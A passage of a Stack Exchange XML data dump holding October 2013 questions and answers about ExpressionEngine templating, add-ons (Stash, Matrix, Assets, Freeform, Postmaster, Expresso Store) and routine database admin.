somehow applied a custom status to all entries, even those that existed in channels without the custom statuses applied.&#xA;So the pages, news, events channels etc all returned zero results as they didn't have the matching status!&lt;/p&gt;&#xA;" OwnerUserId="1782" LastEditorUserId="1782" LastEditDate="2013-10-28T16:12:29.863" LastActivityDate="2013-10-31T13:05:44.543" Title="Emergency: Channel entries tags stopped working on a live site: Please Help!" Tags="|channel-entries|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="15047" PostTypeId="2" ParentId="15019" CreationDate="2013-10-28T13:19:19.640" Score="1" Body="&lt;p&gt;Follow the guidelines from EE's &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/troubleshooting/general/blank_pages.html&quot; rel=&quot;nofollow&quot;&gt;Troubleshooting -&gt; Blank Pages&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-10-28T13:19:19.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15048" PostTypeId="1" CreationDate="2013-10-28T13:39:38.617" Score="1" ViewCount="141" Body="&lt;p&gt;On multiple ExpressionEngine installs I have noticed that there is a &lt;strong&gt;problem logging in&lt;/strong&gt; when the following query string parameters are omitted: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.url.net/admin.php?s=0&amp;amp;D=cp&amp;amp;C=login&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With just &lt;code&gt;admin.php&lt;/code&gt; alone (or its renamed aequivalent), I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Unable to load your default controller. Please make sure the&#xA;  controller specified in your Routes.php file is valid.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The EE installations affected are set up according to the user guide (but have index.php removed, if that may contribute to the problem).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideas?&lt;/p&gt;&#xA;" OwnerUserId="399" LastActivityDate="2013-10-29T01:57:49.983" Title="Why does the control panel require a query string for log-in?" Tags="|control-panel|authentication|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15049" PostTypeId="2" ParentId="15030" CreationDate="2013-10-28T13:40:20.247" Score="1" Body="&lt;p&gt;Template morsels needs to run the entire template to be able to cache it at some point. When the cache expires, after 5 minutes as you had it set before, it must load the template in order for it to re-cache. The same thing has to happen on publish due to it changing data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could run a cron-job at the set intervals so it would lessen the chance that it happens on the front end.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I get why this is, but that kind of makes it unworkable.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If it didn't do this, then your data in the morsel wouldn't be updated after you published a new entry. Why is it unworkable? Is publish speed a major concern of the end client?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most heavy data work with EE add-ons tends to happen on publish because thats when new data is introduced and its the most expected place for longer processing to happen.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-10-28T13:40:20.247" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15050" PostTypeId="1" CreationDate="2013-10-28T14:50:06.947" Score="2" ViewCount="90" Body="&lt;p&gt;I have a potential project coming up that will most likely use either Membrr or CT Subscriptions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Users will have to register for a particular account depending on the level of access they require. For example one might be a 12 month subscription and another would be a month to month subscription which are both fine to setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the one unusual aspect is that they want to offer a free subscription account for healthcare users, where they would need to have an existing/live email address ending with .nhs.uk to be able to signup for the free account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for ideas as to the best way to tackle this healthcare user signup scenario? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="1339" LastActivityDate="2013-10-29T00:16:51.453" Title="Checking registrants email address for a particlular domain?" Tags="|cartthrob|registration|membrr|subscriptions|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15051" PostTypeId="1" CreationDate="2013-10-28T15:28:07.920" Score="1" ViewCount="58" Body="&lt;p&gt;I have a testing server that duplicates our live server and I updated our FreeForm 3 to 4.1.2 on the testing server and everything went smoothly. When I deployed those changes to our live server the styling for the CP area is broken and I am unable to use the new composer for 4.1.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have included screen shots so you can see what is happening. Any help would be much appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pJvzA.jpg&quot; alt=&quot;Screen Shot of the testing server&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mBiio.jpg&quot; alt=&quot;Screen Shot of the live server&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2272" LastActivityDate="2013-10-28T15:29:43.507" Title="Upgrading to FreeForm Pro 4.1.2 Styling not working" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15052" PostTypeId="1" AcceptedAnswerId="15054" CreationDate="2013-10-28T15:29:34.513" Score="3" ViewCount="153" Body="&lt;p&gt;Is there a way to reset the entry_id count for newly created entries?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm importing entries with Datagrab and need them to have entry_id's starting from 1. There are no other entries in the system.&lt;/p&gt;&#xA;" OwnerUserId="2003" LastActivityDate="2013-10-28T15:36:21.630" Title="Resetting entry_id count" Tags="|ee2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15053" PostTypeId="2" ParentId="15051" CreationDate="2013-10-28T15:29:43.507" Score="2" Body="&lt;p&gt;Check the console for missing files or errors. Most likely it's not loading all the assets for you.&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-10-28T15:29:43.507" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15054" PostTypeId="2" ParentId="15052" CreationDate="2013-10-28T15:36:21.630" Score="5" Body="&lt;p&gt;If you have MySQL access, you can run the following query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ALTER TABLE exp_channel_titles AUTO_INCREMENT = 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also run this command from the CP using the Database Query Form under &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tools &gt; Data &gt; SQL Manager &gt; Database Query Form&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-10-28T15:36:21.630" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15055" PostTypeId="2" ParentId="15022" CreationDate="2013-10-28T15:46:34.887" Score="2" Body="&lt;p&gt;It turns out the issue was that in a checkbox field, neither &quot;Populate the menu manually&quot; or &quot;Populate the menu from another channel field&quot; was selected. I'm not sure how I managed to not have either radio button ticked, but that was the problem.&lt;/p&gt;&#xA;" OwnerUserId="2171" LastActivityDate="2013-10-28T15:46:34.887" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15056" PostTypeId="1" CreationDate="2013-10-28T16:06:49.743" Score="2" ViewCount="409" Body="&lt;p&gt;I have a Newsroom page that combines &quot;In the News&quot; channel entries and &quot;Press Release&quot; channel entries and I need to sort by different dates. Press Releases use the entry_date because they go live on a specific date. In the News entries have their own pub_date date field since article publication dates might not necessarily align when the article is posted to the site (entry_date). While I could use entry_date for In the News entries, in the future an Events channel field will be added and included in this list. Events can't use the entry_date because they need to be listed on the site much earlier, however, the request is to have the date listed and sorted by be the event start date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to sort entries by multiple dates like this? I tried:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:channel:entries channel=&quot;in_the_news|press_releases&quot; orderby=&quot;pub_date|entry_date&quot; sort=&quot;desc&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but the entries listed all In the News article sorted by pub_date then all the Press Releases sorted by entry_date, not a mix of the two sorted by pub_date is ones existed then entry_date it not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current code based on @stuartmcd69's answer below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;newsroom&quot; parse_tags=&quot;yes&quot;}&#xA;    {exp:channel_entries channel=&quot;in_the_news|press_releases&quot; dynamic=&quot;no&quot;}&#xA;        {!--  create stash variables --}&#xA;        {stash:news-article_title}{news-article_title}{/stash:entry_title}&#xA;        {stash:news-publication_name}{news-publication_name}{/stash:entry_title}&#xA;        {stash:pr-title}{pr-title}{/stash:entry_title}&#xA;&#xA;        {!-- capture dates from both channels and convert to a universal date variable --}&#xA;        {stash:universal_date}&#xA;            {exp:switchee variable=&quot;{channel_short_name}&quot; parse=&quot;inward&quot;}&#xA;                {!-- News Article dates --}&#xA;                {case value=&quot;in_the_news&quot;}&#xA;                    {news-publication_date}&#xA;                {/case}&#xA;&#xA;                {!-- Press Release dates --}&#xA;                {case value=&quot;press_release&quot;}&#xA;                    {entry_date}&#xA;                {/case}&#xA;            {/exp:switchee}&#xA;        {/stash:universal_date}&#xA;    {/exp:channel_entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;&amp;lt;dl id=&quot;news_list&quot; class=&quot;dl-horizontal&quot;&amp;gt;&#xA;{exp:stash:get_list name=&quot;newsroom&quot; orderby=&quot;universal_date&quot; sort=&quot;desc&quot;}&#xA;&#xA;    {!-- Display entry based on channel name --}&#xA;    {switchee variable=&quot;{channel_short_name}&quot; parse=&quot;inward&quot;}&#xA;&#xA;        {!-- News Articles --}&#xA;        {case value=&quot;in_the_news&quot;}&#xA;            &amp;lt;div class=&quot;news_item in_the_news year-{year}&quot;&amp;gt;&#xA;                &amp;lt;dt&amp;gt;&#xA;                    &amp;lt;h4&amp;gt;{news-publication_date format=&quot;%F %j, %Y&quot;}&amp;lt;/h4&amp;gt;&#xA;                &amp;lt;/dt&amp;gt;&#xA;                &amp;lt;dd&amp;gt;&#xA;                    &amp;lt;h4&amp;gt;&amp;lt;a href=&quot;{news-link_to_article}&quot; target=&quot;_blank&quot;&amp;gt;{news-article_title}&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;                    &amp;lt;p&amp;gt;{news-publication_name}, {news-publication_date format=&quot;%F %j, %Y&quot;}&amp;lt;/p&amp;gt;&#xA;                &amp;lt;/dd&amp;gt;&#xA;                &amp;lt;hr /&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        {/case}&#xA;&#xA;        {!-- Press Releases --}&#xA;        {case value=&quot;press_releases&quot;}&#xA;            &amp;lt;div class=&quot;news_item press_releases year-{year}&quot;&amp;gt;&#xA;                &amp;lt;dt&amp;gt;&#xA;                    &amp;lt;h4&amp;gt;{entry_date format=&quot;%F %j, %Y&quot;}&amp;lt;/h4&amp;gt;&#xA;                &amp;lt;/dt&amp;gt;&#xA;                &amp;lt;dd&amp;gt;&#xA;                    &amp;lt;h4&amp;gt;&amp;lt;a href=&quot;{page_uri}&quot;&amp;gt;{pr-title}&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;                &amp;lt;/dd&amp;gt;&#xA;                &amp;lt;hr /&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        {/case}&#xA;    {/switchee}&#xA;{/exp:stash:get_list}&#xA;&amp;lt;/dl&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="237" LastEditorUserId="237" LastEditDate="2013-10-29T16:52:29.997" LastActivityDate="2013-10-29T16:52:29.997" Title="Sort by multiple dates" Tags="|date|orderby|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15057" PostTypeId="1" AcceptedAnswerId="15088" CreationDate="2013-10-28T16:16:19.830" Score="2" ViewCount="202" Body="&lt;p&gt;I have an Assets field in a Matrix column that has stopped updating. If you edit or delete the asset and save the entry, the entry will save successfully. However, if you reopen the entry (or view it) the image does not change. All other fields update successfully, but not the Asset field. This new behavior &lt;em&gt;roughly&lt;/em&gt; coincides with updating to EE2.7.2, Matrix 2.5.8, and Assets 2.2.1. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other odd behavior: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It is not all Assets-in-Matrix fields -- other channels on the site use a similar Asset-in-Matrix construct and will update their Asset fields successfully. &lt;/li&gt;&#xA;&lt;li&gt;Duplicating the entry creates a new entry that will successfully update. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Are there any known issues with the updated plugins/EE build? Has anyone experienced the same thing? Any thoughts on how to further debug this issue?&lt;/p&gt;&#xA;" OwnerUserId="756" LastActivityDate="2013-11-27T20:49:21.897" Title="Asset field in Matrix not updating" Tags="|matrix|assets|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15058" PostTypeId="2" ParentId="15024" CreationDate="2013-10-28T16:22:44.103" Score="5" Body="&lt;p&gt;Yes, if you replace &lt;code&gt;{composer:field_output}&lt;/code&gt; with &lt;code&gt;{freeform:field:{composer:field_name} attr:placeholder=&quot;Your Name&quot;}&lt;/code&gt; in the Composer Template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using the &lt;em&gt;Freeform channel custom field&lt;/em&gt; (i.e. using the field in {exp:channel:entries}), you'll have to select your custom Composer Template (containing the above code) in the top left dropdown  of the Composer Editor in the Freeform Control Panel. That way, that Composer Template is used when calling the Freeform custom field in {exp:channel:entries}.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-10-28T16:22:44.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15059" PostTypeId="2" ParentId="15056" CreationDate="2013-10-28T16:28:58.950" Score="0" Body="&lt;p&gt;Using two dates will rarely work because every datestamp will be different (down to the seconds value).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution may be only to use pub_date in the entries loop and sort by that. Then use the entry_date solely for specifying when the item is published. You would have to always have a pub_date for each entry.&lt;/p&gt;&#xA;" OwnerUserId="1029" LastEditorUserId="28" LastEditDate="2013-10-29T01:48:16.090" LastActivityDate="2013-10-29T01:48:16.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15060" PostTypeId="1" CreationDate="2013-10-28T16:35:00.853" Score="1" ViewCount="112" Body="&lt;p&gt;Searching for all items that are on sale, as of Express Store 2.0.4, is currently MIA, despite the presence of the &lt;code&gt;search:on_sale&lt;/code&gt; parameter in the &lt;a href=&quot;https://exp-resso.com/docs/search_tag.html&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt;. That is, this code...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:search channel=&quot;products&quot; search:on_sale=&quot;yes&quot;}&#xA;    {title}&#xA;{/exp:store:search}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... returns all items in the products channel, not just products on sale.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can hack around this by using looping through all products and checking each one using the &lt;code&gt;on_sale&lt;/code&gt; conditional:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; disable=&quot;member_data|pagination&quot; limit=&quot;99&quot;}&#xA;    {exp:store:product entry_id=&quot;{entry_id}&quot; disable_form=&quot;yes&quot; disable_javascript=&quot;yes&quot;}&#xA;            {if on_sale}&#xA;                {title}&#xA;            {/if}&#xA;    {/exp:store:product}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But has anyone figured out how to display a &lt;em&gt;Sorry, no items are currently on sale message&lt;/em&gt; when no items are on sale? I've tried a PHP (input), PHP (output), and a variety of Stash syntax. Something very strange is happening either with parse order or the way that &lt;code&gt;on_sale&lt;/code&gt; works. For example, you would think this would work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; disable=&quot;member_data|pagination&quot; limit=&quot;99&quot;}&#xA;    {exp:store:product entry_id=&quot;{entry_id}&quot; disable_form=&quot;yes&quot; disable_javascript=&quot;yes&quot;}&#xA;&#xA;            {if on_sale}&#xA;                {exp:stash:set_value name=&quot;sale_items_exist&quot; value=&quot;true&quot;}&#xA;                {title}&#xA;            {/if}&#xA;&#xA;    {/exp:store:product}&#xA;{/exp:channel:entries}&#xA;&#xA;&#xA;{if &quot;{exp:stash:get name='sale_items_exist' process='end'}&quot; != &quot;true&quot;}&#xA;    &amp;lt;p&amp;gt;Sorry, no items are currently on sale&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&#xA;&amp;lt;p&amp;gt;Debug: the stash variable is {exp:stash:get name='sale_items_exist' process='end'}&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I use that code, if there &lt;em&gt;is&lt;/em&gt; an item on sale, that last line outputs nothing (and so my &quot;no items on sale&quot; message shows up even though it shouldn't). Somehow Stash is not setting &lt;code&gt;sale_items_exist&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone solved this problem some other way?&lt;/p&gt;&#xA;" OwnerUserId="489" LastEditorUserId="150" LastEditDate="2013-10-28T21:00:18.987" LastActivityDate="2013-10-28T21:00:18.987" Title="Expresso Store: &quot;No items are on sale&quot;" Tags="|expresso-store|stash|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15061" PostTypeId="2" ParentId="14977" CreationDate="2013-10-28T16:35:39.437" Score="0" Body="&lt;p&gt;You may get this to work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if game_platforms == &quot;PS3&quot;}PS3{/if} &#xA;{if game_platforms == &quot;PC&quot;}PC{/if} &#xA;{if game_platforms == &quot;XBOX&quot;}XBOX{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2013-10-28T16:35:39.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15062" PostTypeId="2" ParentId="14961" CreationDate="2013-10-28T16:42:26.613" Score="1" Body="&lt;p&gt;Client was accessing the control panel via the subdomain and not the main domain.&lt;/p&gt;&#xA;" OwnerUserId="31" LastActivityDate="2013-10-28T16:42:26.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15063" PostTypeId="2" ParentId="14976" CreationDate="2013-10-28T16:43:07.573" Score="0" Body="&lt;p&gt;Another way to approach this is to add separate custom fields for product data type. eg&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Field - SKU&#xA;Field - Height&#xA;Field - Width&#xA;Field - Length&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could then use this data several ways:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;On a product detail page, simply list of the values&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In a data table for multiple products, eg&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SKU Height Width Length&#xA;{exp:channel:entries channel=&quot;products&quot;}&#xA;{cf_sku} {cf_height} {cf_width} {cf_length}&#xA;{/exp:channel:entries}&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;(sorry SE doesnt allow table tags but you get the idea)&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2013-10-28T16:43:07.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15064" PostTypeId="1" AcceptedAnswerId="15098" CreationDate="2013-10-28T16:57:54.813" Score="2" ViewCount="136" Body="&lt;p&gt;The following call is proving problematic from a page load perspective:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;channel&quot; limit=&quot;1000&quot; disable=&quot;categories|member_data|trackbacks|pagination&quot; search:product_year=&quot;2004|2005|2006|2007|2008&quot; dynamic=&quot;yes&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Firstly, I call this in a simple if conditional based on url_segments so it should be parsed early but the use of else means it is advanced and not simple in EE speak.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2 == &quot;&quot;}&#xA;&#xA;{if:elseif segment_4 == &quot;archive&quot;}&#xA;&#xA;***the code***&#xA;&#xA;{if:else}&#xA;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I cannot disable custom_fields as I need to search them as shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bug debugging the template shows that 5 of the 6 seconds it takes this page to load is repeated calls by Matrix to grab this data.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(0.418034 / 43.67MB) Calling Extension Class/Method: Matrix_ext/channel_entries_tagdata&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;etc&#xA;etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Annoying it only happens on the template_group/index/ page as the category indexes are limited to just the number of entries for that category and not the site total (approx. 4000). Essentially all the matrix data is loaded for all entries on the index page even though I am only outputting categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway I can disable specific custom fields or only make these data calls where it is required? I tried using an embed for the code, but according to the debug the matrix calls are still made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Managed to solve this - tried the embedded templates again and it worked this time.&lt;/p&gt;&#xA;" OwnerUserId="92" LastEditorUserId="92" LastEditDate="2013-10-29T14:37:28.730" LastActivityDate="2013-10-29T15:00:05.753" Title="How to optimise channel entries call with custom fields and lots of matrix data" Tags="|matrix|conditionals|parse-order|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15065" PostTypeId="1" AcceptedAnswerId="15073" CreationDate="2013-10-28T17:00:19.553" Score="1" ViewCount="316" Body="&lt;p&gt;I am trying to build a multi enquiry form i which the same message plus some custom data is sent to multiple email addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The email addresses and custom data are retrieved from existing entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My strategy so far has been to create the form like so;&#xA;(the {exp:remember_me} tag simply provides a pipe delimited list of entry IDs - this bit works fine.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:postmaster:email_form:open &#xA;      action=&quot;/favourites/enquiry&quot;&#xA;   method=&quot;post&quot;&#xA;   field=&quot;email&quot;&#xA;   data_field=&quot;data&quot;&#xA;  }&#xA;&#xA;&#xA;   {exp:channel:entries channel=&quot;properties&quot; entry_id=&quot;{exp:remember_me:get}&quot; parse=&quot;inward&quot;}&#xA;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;email[entry_id]&quot; value=&quot;{email}&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;test&quot; name=&quot;data[entry_id][to_name]&quot; value=&quot;{author}&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;data[entry_id][property-ref]&quot; value=&quot;{property-ref}&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;data[entry_id][title]&quot; value=&quot;{title}&quot; /&amp;gt;&#xA;   {/exp:channel:entries}&#xA;&#xA;    &amp;lt;p&amp;gt;&amp;lt;label for=&quot;name&quot;&amp;gt;Name&amp;lt;/label&amp;gt;&amp;lt;input class=&quot;text&quot; type=&quot;text&quot; name=&quot;from_name&quot; value=&quot;&quot; id=&quot;name&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&amp;lt;label for=&quot;phone1&quot;&amp;gt;Telephone&amp;lt;/label&amp;gt;&amp;lt;input class=&quot;text&quot; type=&quot;text&quot; name=&quot;from_phone1&quot; id=&quot;phone1&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;&#xA;    &amp;lt;p&amp;gt;&amp;lt;label for=&quot;email&quot;&amp;gt;Email&amp;lt;span class=&quot;req&quot;&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;from_email&quot; value=&quot;&quot; id=&quot;email&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&amp;lt;label for=&quot;date_from&quot;&amp;gt;Date from&amp;lt;/label&amp;gt;&amp;lt;input class=&quot;datepicker&quot; type=&quot;text&quot; name=&quot;date_from&quot; id=&quot;date_from&quot;&amp;gt; &amp;lt;label for=&quot;date_to&quot;&amp;gt;Date to&amp;lt;/label&amp;gt;&amp;lt;input class=&quot;datepicker&quot; type=&quot;text&quot; name=&quot;date_to&quot; id=&quot;date_to&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&amp;lt;label for=&quot;number_in_group&quot;&amp;gt;Number in your group&amp;lt;/label&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;number_in_group&quot; id=&quot;number_in_group&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&amp;lt;label for=&quot;message&quot;&amp;gt;Message&amp;lt;span class=&quot;req&quot;&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;textarea name=&quot;message&quot; id=&quot;message&quot; value=&quot;&quot; rows=&quot;12&quot; cols=&quot;40&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;&#xA;   &amp;lt;button type=&quot;submit&quot;&amp;gt;Submit&amp;lt;/button&amp;gt;&#xA;&#xA;  {/exp:postmaster:email_form:open}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This certainly triggers an email for each entry but I can only get them to send if I hardcode a recipient email address into the hook set up and I need to use the email field from each entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition I am also unable to include any of the custom data or form data within the emails. As I understand the documentation I believe I simply need to do something like this;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;table cellpadding=&quot;4&quot; border=&quot;0&quot;&amp;gt;&#xA;&amp;lt;tr&amp;gt;&#xA;&amp;lt;td colspan=&quot;2&quot;&amp;gt;&amp;lt;b&amp;gt;Property enquiry from Big Holiday House&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;From&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{from_name}&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Email&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{from_email}&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Phone&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{from_phone1}&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Property Ref&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{property_ref}&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Property&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{property_name}&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;No. in group&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{number_in_group}&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Date from&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{date_from}&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Date to&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{date_to}&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td 